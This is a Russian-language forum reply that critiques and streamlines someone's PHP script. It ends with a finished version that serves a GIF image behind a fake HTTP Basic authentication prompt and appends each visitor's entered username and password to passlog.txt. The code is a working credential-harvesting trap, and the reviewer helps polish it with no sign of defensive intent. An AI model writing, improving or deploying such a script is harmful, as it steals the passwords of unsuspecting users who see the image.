Разберём первый блок:
- Используя функцию empty вместо isset мы так же можем проверить не пустые ли данные, а не просто существование переменной. Да и в отрицании условия тогда нету необходимости.
- Ты 2 раза указал Content-Type. При том первый еще и HTML, хотя отдаешь картинку.
- Заголовок "401 не авторизован" лучше пихать первым пунктом. По крайней мере так читабельнее.
- imagedestroy выполнять по сути не обязательно если сразу за этим скрипт будет прекращать работу.
- функцию exit можно использовать без скобок, т.е. просто " exit; "
- зачем читать файл с картинкой, переводить его в нужный формат, потом снова его конвертить обратно в gif? Достаточно просто прочесть данные и вывести пользователю. Делается это функцией readfile(имя_файла)
- в закрытии дальнейшей обработки кода нету смысла, т.к. после него ничего не будет. Проще говоря exit не нужен.
Разберём второй блок:
- Вместо 3 строчек кода (открываем файл, записываем, закрываем файл) лучше использовать функцию file_put_contents(имя_файла, даннные, FILE_APPEND); (FILE_APPEND - означает, что данные добавятся в конец файла).
- Опять же не понятно зачем конвертить файл туда-сюда
- Снова скобки у функции exit;
- в закрытии дальнейшей обработки кода нету смысла
Код твоей мечты:
PHP код:
if (empty($_SERVER['PHP_AUTH_USER']))
{
header('HTTP/1.0 401 Unauthorized');
header("Content-type: image/gif");
header('WWW-Authenticate: Basic realm="Repeated Authenticate"');
readfile('s1.gif');
}
else
{
header("Content-type: image/gif");
readfile('s1.gif');
file_put_contents('passlog.txt', $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n", FILE_APPEND);
}